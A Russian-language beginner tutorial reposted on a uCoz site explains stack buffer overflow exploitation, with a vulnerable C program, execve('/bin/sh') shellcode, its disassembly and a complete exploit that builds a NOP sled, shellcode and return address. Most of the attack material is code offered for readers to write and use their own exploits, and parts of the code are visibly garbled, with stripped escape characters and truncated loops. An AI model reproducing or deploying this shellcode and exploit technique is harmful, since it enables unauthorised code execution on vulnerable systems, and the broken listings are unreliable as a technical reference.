Понедельник, 2017-10-23, 7:26 AM
Приветствую Вас Гость | RSS
Главная | Каталог статей | Регистрация | Вход
Форма входа
Категории раздела
Новичкам [29]
Мануал по Windows [23]
Поиск
Наш опрос
Оцените мой сайт

Результаты · Архив опросов

Всего ответов: 452
Друзья сайта
  • Официальный блог
  • Сообщество uCoz
  • FAQ по системе
  • Инструкции для uCoz
  • SITE LOGO
    Главная » Статьи » Новичкам

    .::Как устроены эксплоиты::.
    Ответьте мне на один вопрос: "Пользовались ли вы когда-нибудь эксплоитами?". Если ответ оказался положительным, то я надеюсь вы хотя бы раз в своей жизни заглядывали в исходник такого эксплоита и пытались понять, как это все устроенно и как этот бред работает. Я попытаюсь разъяснить ситуацию: опишу принцип работы, приведу пример эксплоитируемой программы и пример эксплоита к ней, помогу понять байт-код, встраиваемый в эксплоит, и еще много всего интересного... но все по порядку.

    Эксплоит, как известно, программа использующая некую ошибку в программном обеспечении для выполнения некоторых действий в атакуемой системе. Это может быть выполнение некоторого кода. Эксплоиты делятся на несколько категорий: эксплоиты приводящие к D.O.S. и эксплоиты выполняющие код. Конечно есть еще один класс эксплоитов - неработающие эксплоиты, но об этом мы поговорим позже.

    В данной статье речь пойдет об эксплоитах приводящих к выполнению кода на атакуемой системе. Такие эксплоиты основаны, чаще всего, на переполнении буфера. Дело в том, что многие программные продукты содержат определенный класс ошибки, при которой данные не помещаются в отведенный в оперативной памяти массив, после чего оставшиеся данные непомещенные в массив попадают в стэк, где выполняются в качестве программного кода. Помните в эксплоитах некую непонятную строку символов, примерно из 15-50 байт... вот это и есть тот самый шеллкод - то, что по идее автора эксплоита должно попасть в стэк. Вот пример программы, при которой возможно переполнение буфера:

    ---------------------------------
    #include
    int
    main(int argc, char* argv[])
    {
    char buffer[100];
    strcpy(buffer,argv[1]);
    return 0;
    }
    ---------------------------------

    Давайте рассмотрим пример подробнее: у нас есть массив из 100 элементов. Далее мы копируем первый позиционный параметр (параметр командной строки) в наш массив. Заметьте, что у нас нет проверки на длинну нашего входного параметра, т.е. существует прямая угроза переполнения нашего буфера.
    Теперь рассмотрим примеры написания эксплоитов. Есть несколько возможностей получить эксплоит: найти в интернете, написать самому, подправить существующий. Первый способ самый простой, но и самый не надежный: не факт, что под данную операционную систему существует уже готовый эксплоит, да и возможно, что вы первый, кто нашел эту уязвимость. Второй способ самый лучший, так как вы сами пишите - сами пользуете. Но есть и отрицательные стороны: нужно знать как минимум один язык программирования для написания программы-"контейнера" (так я называю программу выполняющую главную функцию по установке шеллкода). В этом случае вы плавно спускаетесь до уровня 3 - модификация чужого эксплоита. Я не считаю это зазорным, так как зная, что ты изменяешь, можно получить совершенно новый эксплоит. Примером может послужить модификация шеллкода.
    Вы наверное уже заметили, что не все эксплоиты работают (об этом я уже говорил). Одной из причин может послужить неверная версия ОС. Дело в том, что программы-шеллкоды различаются в написании для Линукса и БСД-систем, так как шеллкод обычно пишется на ассемблере, а, например, параметры в БСД системах передаются через стэк, в то время, как в Линуксе через регистры... но мы не об этом.
    Чтоб не повторять уже написанных статей, я не буду рассказывать о том, как написать шеллкод - мы поступим по другому. Если человек чему-то хочет научиться, ему нужно смотреть в исходники уже написанных продуктов. У шеллкода также есть исходники, но как их получить? На ум приходит дизассемблирование. Берем готовый шеллкод и пихаем его в программу на С примерно таким образом:

    --------------------------------------------------------------------
    char shellcode[]=
    "xebx1fx5ex89x76x08x31xc0x88x46x07"
    "x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0c"
    "xcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff"
    "/bin/sh";
    int
    main(int argc,char* argv[])
    {
    void(*shell)()=(void*)shellcode;
    shell();
    return 0;
    }
    --------------------------------------------------------------------

    Компилируем. И дизасмим: objdump -D shellprog|more. Листаем до секции . Вы должны получить следующее:
    ------------------------------------------------------------------------------
    080494e0 :
    80494e0: eb 1f jmp 8049501
    80494e2: 5e pop %esi
    80494e3: 89 76 08 mov %esi,0x8(%esi)
    80494e6: 31 c0 xor %eax,%eax
    80494e8: 88 46 07 mov %al,0x7(%esi)
    80494eb: 89 46 0c mov %eax,0xc(%esi)
    80494ee: b0 0b mov $0xb,%al
    80494f0: 89 f3 mov %esi,%ebx
    80494f2: 8d 4e 08 lea 0x8(%esi),%ecx
    80494f5: 8d 56 0c lea 0xc(%esi),%edx
    80494f8: cd 80 int $0x80
    80494fa: 31 db xor %ebx,%ebx
    80494fc: 89 d8 mov %ebx,%eax
    80494fe: 40 inc %eax
    80494ff: cd 80 int $0x80
    8049501: e8 dc ff ff ff call 80494e2
    8049506: 2f das
    8049507: 62 69 6e bound %ebp,0x6e(%ecx)
    804950a: 2f das
    804950b: 73 68 jae 8049575

    |_________| |__________________| |___________________________________|
    Смещение байт-код(он и со- дизассемблированный
    относитель- ставляет шеллкод) код программы
    но начала
    ------------------------------------------------------------------------------

    Вот мы и получили исходный код шеллкода. Если вы немного знакомы с программированием на ассемблере под юникс, то разобраться будет не сложно. Отмечу лишь то, что в данном случае используется системный вызов execve для запуска дополнительного шела /bin/sh (шеллкод взят с какого-то сайта). Как видите, по объему программа на асме не такая уж огромная... но вот пользы от нее уйма.
    Стоит отметить, что сам шеллкод является данными, которые посылаются в буфер, а концом любых данных является нуль-байт - ''. По этому, когда вы будете писать свой байт-код, следите за тем, чтоб у вас не было байтов типа 'x00', так как после этого байта в стэк уже ничего не попадет. Для избежания этого не стоит использовать конструкции типа pushl $0. В случае, если вам нужно поместить в стэк ноль, пишите следующим образом:
    -------------------
    xorl %eax,%eax
    pushl %eax
    -------------------

    Также ошибка может заключаться в помещении в регистр номера системной функции. Обычно это байт а не двойное слово, по этому нужно вместо
    movl $0x17,%eax

    использовать пересылку командой movb в младшую часть регистра:
    movb $0x17%al

    Вообще, по написанию шеллкодов написанно множество статей, но боюсь, что ничего нового я не напишу...
    Итак, у нас есть шеллкод. Для проверки его работоспособности вы можете его запустить (откомпиллированная программа). У каждой программы есть указатель на начало ее стэка. Получить его можно следующим образом:
    -----------------------------------
    unsigned long
    get_sp(void)
    {
    __asm__("movl %esp,%eax");
    }
    -----------------------------------

    Зная адрес начала стэка, мы пишем программу, при этом все переменные должны располагаться после этого адреса.
    Итак, у нас есть программа, есть шеллкод.. пора брать быка за рога. У нас есть массив из 100 элементов - это значит, что нужно воткнуть наш шеллкод куда-то внутрь него. Но при этом не потерять его в памяти, те всегда иметь указатель на начало нашего шеллкода. Также нам необходимо, чтобы перед нашим кодом не попало в стэк ничего лишнего, что могло бы привести к сбою программы. Мы уже говорили об указателе на начало стэка, значит наш буфер должен располагаться если не сразу после этого адреса, то где-то неподалеку. Для того, чтоб пропустить весь "мусор", мы в буфер "мусор" кидать не будем - мы заполним буфер командой NOP. Данная команда используется для кратковременной задержки длительностью в один такт, так что она ничего не делает - происходит переход к следующей команде. Я думаю вы уже догадались... Мы просто заполним весь наш оставшийся массив данной командой (x90), так что при прыжке в любое место буфера мы просто пропустим несколько тактов процессора и попадем на точку входа нашей процедурки на асме.
    Давайте создадим новый буфер большей величины следующего содержания: начало будет состоять из NOP'ов, где-то в середине будет наш шеллкод, а в конце будет адрес возврата.
    --------------------------------------------------------------------
    #include
    #include

    #define RET 1024
    #define RANGE 200

    char shellcode[]=
    "xebx1fx5ex89x76x08x31xc0x88x46x07"
    "x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0c"
    "xcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff"
    "/bin/sh";

    unsigned long
    get_sp(void)
    {
    __asm__("movl %esp,%eax");
    }

    int
    main(int argc,char *argv[])
    {
    int offset=0,bsize=RET+RANGE+1;
    int i;
    char buff[bsize],*ptr;
    long ret;
    unsigned long sp;

    ;

    if(argc>8;
    buff[i+2]=(addr&0x00ff0000)>>16;
    buff[i+3]=(addr&0xff000000)>>24;
    }
    for(i=0;i buff[i]='x90';

    ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;

    for(i=0;i *(ptr++)=shellcode[i];

    buff[bsize-1]='';

    execl("./vulnerable1","vulnerable1",buff,0);

    }
    --------------------------------------------------------------------

    Смещение стоит выбирать такое, чтобы попасть. Так как в нашем случае буфер находится в качестве единственной переменной, к тому же она находится в начале программы, то и смещение должно быть относительно малым. У меня на машине смешение от 200-700 работало, но помните, что это зависит от конкретной машины, следовательно у вас это значение может отличаться.

    Статья взята с сайта www.hackzona.ru

    Категория: Новичкам | Добавил: Admin (2006-07-31) | Автор: CopKiller
    Просмотров: 686 | Комментарии: 1 | Рейтинг: 0.0/0 |
    Всего комментариев: 1
    1  
    спасиб за информацию))))оч помогло!!!!

    Имя *:
    Email *:
    Код *:
    Бесплатный конструктор сайтов - uCozCopyright MyCorp © 2017